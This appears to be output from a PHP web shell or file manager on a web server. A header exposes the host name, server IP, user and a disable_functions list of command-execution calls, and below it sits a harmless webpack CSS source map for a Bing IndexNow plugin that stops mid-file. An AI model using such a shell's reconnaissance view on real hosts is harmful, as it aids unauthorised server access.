Uname: Linux baohanhelectrolux 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
Software: nginx/1.24.0
PHP version: 8.4.24 [ PHP INFO ] PHP os: Linux
Server Ip: 103.90.227.231
Your Ip: 216.73.217.141
User: www (1000) | Group: www (1000)
Safe Mode: OFF
Disable Function:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

name : main.3b7c0031.css.map
{"version":3,"sources":["webpack://src/index.css","webpack://src/scss/_common.scss","webpack://src/scss/mixins/_fonts.scss","webpack://src/scss/_variables.scss","webpack://src/scss/mixins/_clearfix.scss","webpack://src/scss/mixins/_display.scss","webpack://src/scss/responsiveLayout.scss","webpack://src/scss/App.scss","webpack://src/scss/Header.scss","webpack://src/scss/mixins/_border-radius.scss","webpack://src/scss/StartPage.scss","webpack://src/scss/Dashboard.scss"],"names":[],"mappings":"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","file":"main.3b7c0031.css","sourcesContent":["li.toplevel_page_bing-url-submission > a > div.svg {\r\n  background-size: 13px auto !important;\r\n}\r\n","@import \"default\";\r\n\r\n.indexnow-App {\r\n  h2 {\r\n    @include font-type($bwt_scopeFontFamily, $bwt_focusFontSize);\r\n  }\r\n\r\n  h3 {\r\n    @include font-type($bwt_scopeFontFamily, $bwt_mediumFontSize);\r\n  }\r\n\r\n  .floatLeft {\r\n    float: left;\r\n  }\r\n\r\n  .floatRight {\r\n    float: right;\r\n  }\r\n\r\n  h2 {\r\n    @include font-type($bwt_scopeFontFamily, $bwt_focusFontSize);\r\n  }\r\n\r\n  h3 {\r\n    @include font-type($bwt_scopeFontFamily, $bwt_mediumFontSize);\r\n  }\r\n\r\n  .textCenter {\r\n    text-align: center;\r\n  }\r\n\r\n  .textRight {\r\n    text-align: right;\r\n  }\r\n\r\n  .floatNone {\r\n    float: none;\r\n  }\r\n\r\n  .b_hide {\r\n    display: none;\r\n  }\r\n\r\n  .colorBlack {\r\n    color: $bwt_darkGray50Color;\r\n  }\r\n\r\n  .clearfix {\r\n    @include clearfix;\r\n  }\r\n\r\n  .pageLayout {\r\n    background: $bwt_lightGray30Color;\r\n  }\r\n\r\n  .pageContainer {\r\n    display: flex;\r\n    min-height: calc(100vh - #{$bwt_topHeaderHeight});\r\n    margin-top: $bwt_topHeaderHeight;\r\n  }\r\n\r\n  a {\r\n    text-decoration: none;\r\n\r\n    &:focus,\r\n    &:active,\r\n    &:hover {\r\n      outline: none;\r\n      text-decoration: none;\r\n      color: inherit;\r\n    }\r\n  }\r\n\r\n  i {\r\n    font-size: $bwt_smallIconSize;\r\n  }\r\n\r\n  .bwtIconTxtPair {\r\n    > * {\r\n      @include displayIB();\r\n    }\r\n\r\n    i {\r\n      margin-right: 8px;\r\n    }\r\n  }\r\n\r\n  .warningIcon {\r\n    color: $bwt_warningColor;\r\n  }\r\n\r\n  .errorIcon {\r\n    color: $bwt_errorColor;\r\n  }\r\n\r\n  .infoIcon {\r\n    font-size: 10px;\r\n    padding-left: 4px;\r\n    color: $bwt_lightGray60Color;\r\n  }\r\n\r\n  .globalPanelMask {\r\n    width: 100%;\r\n    height: 100%;\r\n    position: absolute;\r\n    top: 0;\r\n    left: 0;\r\n    background: rgba(255, 255, 255, 0.1);\r\n    z-index: 1000;\r\n\r\n    .maskSpinner {\r\n      position: absolute;\r\n      left: 50%;\r\n      top: 50%;\r\n    }\r\n  }\r\n\r\n  .validationError {\r\n    margin-top: 10px;\r\n    color: $bwt_errorColor;\r\n  }\r\n\r\n  .siteUrlInfo {\r\n    .siteUrl {\r\n      display: -webkit-inline-box;\r\n      max-width: 100%;\r\n      height: auto;\r\n      -webkit-line-clamp: 2;\r\n      -webkit-box-orient: vertical;\r\n      overflow: hidden;\r\n      text-overflow: ellipsis;\r\n      word-break: break-all;\r\n    }\r\n    &:hover {\r\n      .siteUrl:after {\r\n        background: $bwt_rowHoverColor;\r\n      }\r\n\r\n      .siteUrl:before {\r\n        color: transparent;\r\n      }\r\n      .siteUrl {\r\n        text-decoration: underline;\r\n      }\r\n    }\r\n  }\r\n\r\n  .secondaryInfo {\r\n    margin-top: 4px;\r\n    color: $bwt_darkGray20Color;\r\n    font-size: $bwt_secondaryFontSize;\r\n  }\r\n\r\n  .bwtToolTip {\r\n    text-align: left;\r\n    display: block;\r\n    padding: 8px 8px 6px 8px;\r\n    min-width: 115px;\r\n    .toolTipUrl {\r\n      word-break: break-all;\r\n      white-space: initial;\r\n      font-size: $bwt_secondaryFontSize;\r\n    }\r\n\r\n    i {\r\n      cursor: pointer;\r\n      color: $bwt_primaryTextColor;\r\n      margin-left: 0px;\r\n    }\r\n  }\r\n  .errorPageContainerLayout {\r\n    width: 100%;\r\n    margin: 0 auto;\r\n    padding: 16px;\r\n  }\r\n\r\n  .iconButtonMenu {\r\n    width: 100%;\r\n  }\r\n\r\n  .moreEdgedCell {\r\n    padding-top: 5px;\r\n    padding-right: 4px;\r\n    padding-bottom: 0px;\r\n  }\r\n}\r\n","@mixin font-type($family, $size, $line-height: 1.4) {\r\n    font-family: $family;\r\n    font-size: $size;\r\n    line-height: $line-height;\r\n}","// Variables\r\n//\r\n// Variables should follow the `$shortansname-propertynameincamelcase` formula for\r\n// consistent naming. Ex: $bingtravel-linkDisabledColor and $bwt_contentBoxShadow.\r\n\r\n//\r\n// Color system\r\n//\r\n\r\n// Primary Colors\r\n$bwt_white: #ffffff;\r\n$bwt_primaryTealColor: #00809d;\r\n$bwt_darkTealColor: #006887;\r\n\r\n// Secondary Color\r\n$bwt_headerAccentColor: #0046ff;\r\n$bwt_attributionColor: #006d21;\r\n$bwt_warningColor: #be5a00;\r\n$bwt_errorColor: #c80000;\r\n$bwt_pendingColor: #797673;\r\n$bwt_successColor: #006d21;\r\n\r\n// Text colors\r\n$bwt_primaryTextColor: #444444;\r\n$bwt_standardTextColor: #666666;\r\n$bwt_secondaryTextColor: #767676;\r\n$bwt_optionalTextColor: #919191;\r\n$bwt_linkTextColor: #0078d7;\r\n$bwt_harmfulLinkIconColor: #e06f6a;\r\n\r\n// Gray Colors\r\n$bwt_lightGray10Color: #f7f9f8;\r\n$bwt_lightGray15Color: #f8f8f8;\r\n$bwt_lightGray20Color: #f9f9f9;\r\n$bwt_lightGray30Color: #f5f5f5;\r\n$bwt_lightGray40Color: #f3f3f3;\r\n$bwt_lightGray50Color: #ececec;\r\n$bwt_lightGray60Color: #dddddd;\r\n$bwt_lightGray70Color: #cccccc;\r\n$bwt_darkGray10Color: #919191;\r\n$bwt_darkGray20Color: #767676;\r\n$bwt_darkGray30Color: #666666;\r\n$bwt_darkGray40Color: #444444;\r\n$bwt_darkGray50Color: #111111;\r\n$bwt_whiteGrayBlack: #e1e1e1;\r\n$bwt_veryDarkGrayColor: #212121;\r\n$bwt_darkCyanColor: #0c8484;\r\n$bwt_veryDarkCyanColor: #0c6e6e;\r\n$bwt_buttonActiveColor: #0b5858;\r\n$bwt_filterBorderColor: #a19f9d;\r\n$bwt_paginationButtonColor: #eaeaea;\r\n$bwt_paginationButtonDisabledColor: #f4f4f4;\r\n$bwt_buttonHoverColor: #027c91;\r\n$bwt_cardTextColor: #333333;\r\n$bwt_textFiledBorderColor: #a19f9d;\r\n$bwt_buttonClassicPortalLinkBackgroundColor: #fff5d5;\r\n$bwt_buttonClassicPortalLinkBorderColor: #ba7b17;\r\n\r\n$bwt_headerLinkTextColor: #0078d4;\r\n$bwt_headerTitleSupTextBackGroundColor: #00b7c8;\r\n$bwt_headerElementsHoverBackGroundColor: #00748e;\r\n$bwt_filterButtonsHoverBackGroundColor: #edebe9;\r\n$bwt_attributionHoverBackGroundColor: #00631e;\r\n$bwt_errorHoverBackGroundColor: #b30000;\r\n$bwt_filterButtonHoverColor: #605e5c;\r\n$bwt_navHoverColor: rgba(0, 128, 150, 0.1);\r\n$bwt_navHoverAfterColor: rgba(0, 128, 150, 0.01);\r\n$bwt_navButtonHoverBackground: #f3f2f1;\r\n$bwt_rowHoverColor: rgb(243, 242, 241);\r\n\r\n// Font faces\r\n$bwt_scopeFontFamily: \"Segoe UI\", Arial, Helvetica, Sans-Serif;\r\n$bwt_semiboldFontFamily: \"Segoe UI Semibold\", \"Segoe UI\", Arial, Helvetica,\r\n  Sans-Serif;\r\n$bwt_bodyFontFamily: Arial, Helvetica, Sans-Serif;\r\n\r\n// Font sizes\r\n$bwt_focusTitleMFontSize: 44px;\r\n$bwt_titleFontSize: 24px;\r\n$bwt_focusFontSize: 20px;\r\n$bwt_mediumFontSize: 16px;\r\n$bwt_standardFontSize: 14px;\r\n$bwt_secondaryFontSize: 12px;\r\n\r\n// Width\r\n$bwt_pageMinWidth: 1266px;\r\n$bwt_pageContentWidth: 960px;\r\n\r\n// Heights\r\n$bwt_topHeaderHeight: 54px;\r\n\r\n// Borders\r\n$bwt_lightGrayBorder: 1px solid $bwt_lightGray60Color;\r\n$bwt_whiteBorder: 1px solid $bwt_white;\r\n$bwt_filterBoxBorder: 1px solid $bwt_filterBorderColor;\r\n$bwt_transparentBorder: 1px solid transparent;\r\n$bwt_pageHeaderBorder: 1px solid $bwt_whiteGrayBlack;\r\n$bwt_pageTitleBorder: 1px solid $bwt_lightGray70Color;\r\n$bwt_filterButtonHoverBorder: 1px solid $bwt_filterButtonHoverColor;\r\n\r\n// Shadows\r\n$bwt_cardShadow: 0 0 0 1px rgba(0, 0, 0, 0.05), 0 2px 3px 0 rgba(0, 0, 0, 0.1);\r\n$bwt_hoverShadow: 0 0 0 1px rgba(0, 0, 0, 0.05), 0 2px 4px 0 rgba(0, 0, 0, 0.14);\r\n$bwt_btnhoverShadow: 0 1px 2px 0 rgba(0, 0, 0, 0.1);\r\n$bwt_messageCardShadow: rgba(0, 0, 0, 0.133) 0px 1.6px 3.6px 0px,\r\n  rgba(0, 0, 0, 0.11) 0px 0.3px 0.9px 0px;\r\n$bwt_messageCardHoverShadow: rgba(0, 0, 0, 0.133) 0px 3.2px 7.2px 0px,\r\n  rgba(0, 0, 0, 0.11) 0px 0.6px 1.8px 0px;\r\n\r\n// Transitions\r\n$bwt_shadowTransition: box-shadow 0.1s ease-in-out;\r\n$bwt_cardExpandTransition: all 0.3s ease-in-out;\r\n\r\n// Icon sizes\r\n$bwt_smallIconSize: 16px;\r\n$bwt_mediumIconSize: 20px;\r\n$bwt_largeIconSize: 24px;\r\n$bwt_xlargeIconSize: 32px;\r\n","// Bootstrap v3.3.5 (http://getbootstrap.com)\r\n// Copyright 2011-2015 Twitter, Inc.\r\n// Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\r\n\r\n// Clearfix\r\n//\r\n// For modern browsers\r\n// 1. The space content is one way to avoid an Opera bug when the\r\n//    contenteditable attribute is included anywhere else in the document.\r\n//    Otherwise it causes space to appear at the top and bottom of elements\r\n//    that are clearfixed.\r\n// 2. The use of `table` rather than `block` is only necessary if using\r\n//    `:before` to contain the top-margins of child elements.\r\n//\r\n// Source: http://nicolasgallagher.com/micro-clearfix-hack/\r\n\r\n@mixin clearfix() {\r\n    &:before,\r\n    &:after {\r\n      content: \" \"; // 1\r\n      display: table; // 2\r\n    }\r\n    &:after {\r\n      clear: both;\r\n    }\r\n  }\r\n  ","// Add display block or inline-block depends on the element\r\n@mixin displayIB() {\r\n    display: inline-block;\r\n    vertical-align: middle;\r\n}","@import \"./default\";\r\n\r\n// mobile\r\n@media (max-width: 782px) {\r\n\r\n  .desktopOnly {\r\n    display: none;\r\n  }\r\n\r\n  .indexnow-Header {\r\n    padding: 0 12px;\r\n\r\n    .headerLeftElements {\r\n      padding-left: 16px;\r\n    }\r\n\r\n    .headerRightElements {\r\n      padding-right: 16px;\r\n    }\r\n  }\r\n\r\n}\r\n\r\n// non-mobile\r\n@media (min-width: 783px) {\r\n\r\n  .mobileOnly {\r\n    display: none;\r\n  }\r\n\r\n}\r\n","@import \"default\";\r\n\r\n.indexnow-App {\r\n  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen',\r\n    'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',\r\n    sans-serif;\r\n  display: flex;\r\n  flex-flow: row wrap;\r\n  justify-content: center;\r\n\r\n  .indexnow-Banner {\r\n    margin: 12px 0;\r\n    // width: 100%;\r\n    padding: 8px 24px;\r\n    position: relative;\r\n    border-radius: 6px;\r\n    font-size: 12px;\r\n    color: black;\r\n\r\n    .closeIcon {\r\n      position: absolute;\r\n      top: 10px;\r\n      right: 12px;\r\n      font-size: 10px;\r\n      cursor: pointer;\r\n    }\r\n  }\r\n\r\n  .indexnow-BannerHidden {\r\n    display: none;\r\n  }\r\n\r\n  .indexnow-BannerSuccess {\r\n    background-color: #caeaca;\r\n  }\r\n\r\n  .indexnow-BannerFailure {\r\n    background-color: #f6cfcf;\r\n  }\r\n  .maskSpinner {\r\n  display: flex;\r\n  justify-content: center;\r\n  align-items: center;\r\n  top: 0;\r\n  bottom: 0;\r\n  left: 0;\r\n  right:0;\r\n  }\r\n}\r\n\r\n.indexnow-MainContainer {\r\n  width: $bwt_pageContentWidth;\r\n}\r\n","@import \"./default\";\r\n\r\n// Page header css\r\n.indexnow-Header {\r\n  width: 100%;\r\n  background: #990000;\r\n  color: $bwt_white;\r\n  padding-left: calc((100% - #{$bwt_pageContentWidth})/2);\r\n  padding-right: calc((100% - #{$bwt_pageContentWidth})/2);\r\n\r\n  .headerLeftElements {\r\n    > * {\r\n      vertical-align: middle;\r\n    }\r\n  }\r\n\r\n  .headerRightElements {\r\n    > * {\r\n      vertical-align: middle;\r\n      line-height: $bwt_topHeaderHeight;\r\n      cursor: pointer;\r\n      font-size: 12px;\r\n\r\n      .indexnow-Icon {\r\n        color: $bwt_white;\r\n        vertical-align: middle;\r\n      }\r\n\r\n      span {\r\n        padding: 0 8px;\r\n      }\r\n    }\r\n  }\r\n\r\n  .indexNowLogo {\r\n    margin: 0 16px 0 0;\r\n    height: 42px;\r\n  }\r\n\r\n  .indexNowLogoMobile {\r\n    padding-right: 8px;\r\n  }\r\n\r\n  .pageTitle {\r\n    @include font-type($bwt_semiboldFontFamily, $bwt_mediumFontSize);\r\n    color: $bwt_white;\r\n    line-height: $bwt_topHeaderHeight;\r\n    sup {\r\n      @include border-radius(2px);\r\n      font-size: 10px;\r\n      font-weight: 600;\r\n      bottom: 5px;\r\n      position: relative;\r\n      background-color: $bwt_headerTitleSupTextBackGroundColor;\r\n      margin-left: 6px;\r\n      padding: 2px 8px;\r\n      text-align: center;\r\n      vertical-align: super;\r\n    }\r\n  }\r\n}\r\n","@mixin border-radius($radius) {\r\n    border-radius: $radius;\r\n}","@import \"./default\";\r\n\r\n.indexnow-StartPageContent {\r\n  text-align: center;\r\n  border: 1px solid $bwt_lightGray60Color;\r\n  margin-top: 25px;\r\n\r\n  .featuresSection {\r\n    padding: 1.5rem 0;\r\n    background-color: $bwt_lightGray30Color;\r\n\r\n    h2 {\r\n      color: $bwt_darkGray20Color;\r\n      padding: 1rem 0;\r\n    }\r\n\r\n    .featuresListContainer {\r\n      display: flex;\r\n      flex-flow: row wrap;\r\n      justify-content: space-evenly;\r\n    }\r\n\r\n    .featureItem {\r\n      max-width: 8rem;\r\n      margin: 0 4px;\r\n      margin: 1rem 1rem;\r\n      display: flex;\r\n      flex-flow: column nowrap;\r\n      justify-content: center;\r\n\r\n      .featureIcon {\r\n        color: $bwt_darkGray20Color;\r\n        font-size: 1.5rem;\r\n      }\r\n\r\n      p {\r\n        color: $bwt_darkGray20Color;\r\n        font-size: 0.8rem;\r\n      }\r\n    }\r\n  }\r\n\r\n  .keyEntrySection {\r\n    background-color: $bwt_white;\r\n    padding: 5rem 0rem;\r\n    display: flex;\r\n    justify-content: center;\r\n    padding: 5px 24px;\r\n\r\n    .keyEntryCard {\r\n      max-width: 400px;\r\n      display: flex;\r\n      flex-flow: column nowrap;\r\n      justify-content: center;\r\n      padding: 24px 0;\r\n\r\n      h3 {\r\n        font-size: 26px;\r\n        color: $bwt_cardTextColor;\r\n      }\r\n\r\n      >* {\r\n        margin: 8px 0;\r\n      }\r\n\r\n      p {\r\n        font-size: 15px;\r\n        font-style: oblique;\r\n        font-weight: 450;\r\n      }\r\n\r\n      .apiKeyTextField {\r\n        input {\r\n          border-radius: 0;\r\n          border: none;\r\n          min-height: auto;\r\n        }\r\n\r\n        p {\r\n          display: flex;\r\n          justify-content: center;\r\n        }\r\n      }\r\n\r\n\r\n\r\n      button.submitButton {\r\n        background-color: #990000;\r\n        color: $bwt_white;\r\n        border-radius: 0;\r\n        width: 300px;\r\n        font-size: 15px;\r\n      }\r\n    }\r\n  }\r\n}\r\n","@import \"./default\";\r\n\r\n.indexnow-DashboardContent {\r\n  margin-top: 25px;\r\n\r\n  .sectionTitle {\r\n    font-size: 18px;\r\n    color: $bwt_cardTextColor;\r\n    margin-top: 24px;\r\n  }\r\n\r\n  .sectionTitleContainer {\r\n    display: flex;\r\n    justify-content: space-between;\r\n    margin-top: 24px;\r\n\r\n    .sectionTitle {\r\n      margin-top: 0;\r\n    }\r\n\r\n    button.buttonUrlSubmissionsDownload {\r\n      margin-right: 24px;\r\n    }\r\n  }\r\n\r\n  .indexnow-CardRow {\r\n    margin: 8px 0;\r\n    font-size: 16px;\r\n    display: flex;\r\n    flex-flow: row wrap;\r\n    justify-content: space-between;\r\n\r\n    .indexnow-CardColumn-1 {\r\n      width: 100%;\r\n      min-width: 320px;\r\n    }\r\n\r\n    .indexnow-CardColumn-2 {\r\n      width: calc((100% - 8px) / 2);\r\n      min-width: 320px;\r\n    }\r\n\r\n    .indexnow-CardColumn {\r\n      background-color: $bwt_white;\r\n      position: relative;\r\n      box-shadow: 0px 0.6px 2px #0000001c;\r\n      border-radius: 12px;\r\n      display: flex;\r\n\r\n      .indexnow-PopOverMenu {\r\n        width: 10%;\r\n        height: 100%;\r\n        display: flex;\r\n        flex-direction: column;\r\n        align-items: center;\r\n\r\n        &:hover {\r\n          background-color: rgba(0, 0, 0, 0.1);\r\n          cursor: pointer;\r\n        }\r\n\r\n        .moreIcon {\r\n          margin-top: 18px;\r\n        }\r\n\r\n        .popOverContainer {\r\n          position: relative;\r\n\r\n          .popOverPanel {\r\n            position: absolute;\r\n            top: 0;\r\n            right: 0;\r\n            padding: 8px 10px;\r\n            z-index: 100;\r\n            box-shadow: 0px 1px 4px #0000001c;\r\n            background-color: $bwt_white;\r\n            border: 1px solid #eeeeee;\r\n            border-radius: 2px;\r\n            white-space: nowrap;\r\n            display: none;\r\n          }\r\n\r\n          .openPopOverMenu {\r\n            display: block;\r\n          }\r\n        }\r\n      }\r\n\r\n      .indexnow-Card-WithPopOver {\r\n        width: 90%;\r\n      }\r\n\r\n      .indexnow-Disabled {\r\n        filter: opacity(0.4);\r\n        &:hover {\r\n          background-color: inherit;\r\n          cursor: inherit;\r\n        }\r\n      }\r\n\r\n      .indexnow-Card {\r\n        padding: 18px 24px;\r\n        width: 100%;\r\n\r\n        .cardTitle {\r\n          font-size: 18px;\r\n          color: $bwt_cardTextColor;\r\n\r\n          .indexnow-CardTitleIcon {\r\n            margin-right: 4px;\r\n          }\r\n\r\n          span {\r\n            margin: 0 8px;\r\n          }\r\n\r\n          i.info {\r\n            color: $bwt_optionalTextColor;\r\n            cursor: pointer;\r\n            vertical-align: middle;\r\n          }\r\n        }\r\n\r\n        .cardDescription {\r\n          font-size: 13px;\r\n          color: $bwt_standardTextColor;\r\n          margin-left: 25px;\r\n          margin-top: 10px;\r\n        }\r\n      }\r\n    }\r\n\r\n    .indexnow-OverviewSection {\r\n      display: flex;\r\n      justify-content: space-between;\r\n      width: 100%;\r\n\r\n      .infoCards {\r\n        background-color: $bwt_white;\r\n        width: calc((100% - 16px) / 3);\r\n        padding: 24px;\r\n        box-shadow: 0px 0.6px 2px #0000001c;\r\n        border-radius: 2px;\r\n\r\n        h4 {\r\n          font-size: 14px;\r\n        }\r\n        h2 {\r\n          font-size: 24px;\r\n        }\r\n        p {\r\n          font-size: 11px;\r\n          color: $bwt_optionalTextColor;\r\n        }\r\n      }\r\n    }\r\n\r\n    .indexnow-ApiKeyCard {\r\n      .cardDescription {\r\n        color: $bwt_cardTextColor;\r\n      }\r\n    }\r\n\r\n    .indexnow-ManualURLSubmissionCard {\r\n      .indexnow-Card {\r\n        .cardContent {\r\n          display: flex;\r\n          justify-content: space-between;\r\n        }\r\n      }\r\n    }\r\n\r\n    .indexnow-UrlSubmissions {\r\n      padding: 0;\r\n\r\n      > * {\r\n        width: 100%;\r\n      }\r\n\r\n      .ms-DetailsHeader {\r\n        padding-top: 0;\r\n      }\r\n\r\n      .ms-DetailsRow-cell {\r\n        color: $bwt_cardTextColor;\r\n      }\r\n\r\n      i.retryIcon {\r\n        cursor: pointer;\r\n\r\n        &:hover {\r\n          color: $bwt_primaryTealColor;\r\n          font-weight: bolder;\r\n          font-size: 16px;\r\n        }\r\n      }\r\n    }\r\n  }\r\n\r\n  .footnotes {\r\n    font-size: 12px;\r\n    color: $bwt_secondaryTextColor;\r\n  }\r\n}\r\n\r\n.indexnow-Modal {\r\n  display: none;\r\n  position: fixed;\r\n  width: 40%;\r\n  top: 30%;\r\n  left: 30%;\r\n  z-index: 1;\r\n  box-shadow: -3px 6px 16px #00000029;\r\n  border-radius: 12px;\r\n\r\n  .modalContainer {\r\n    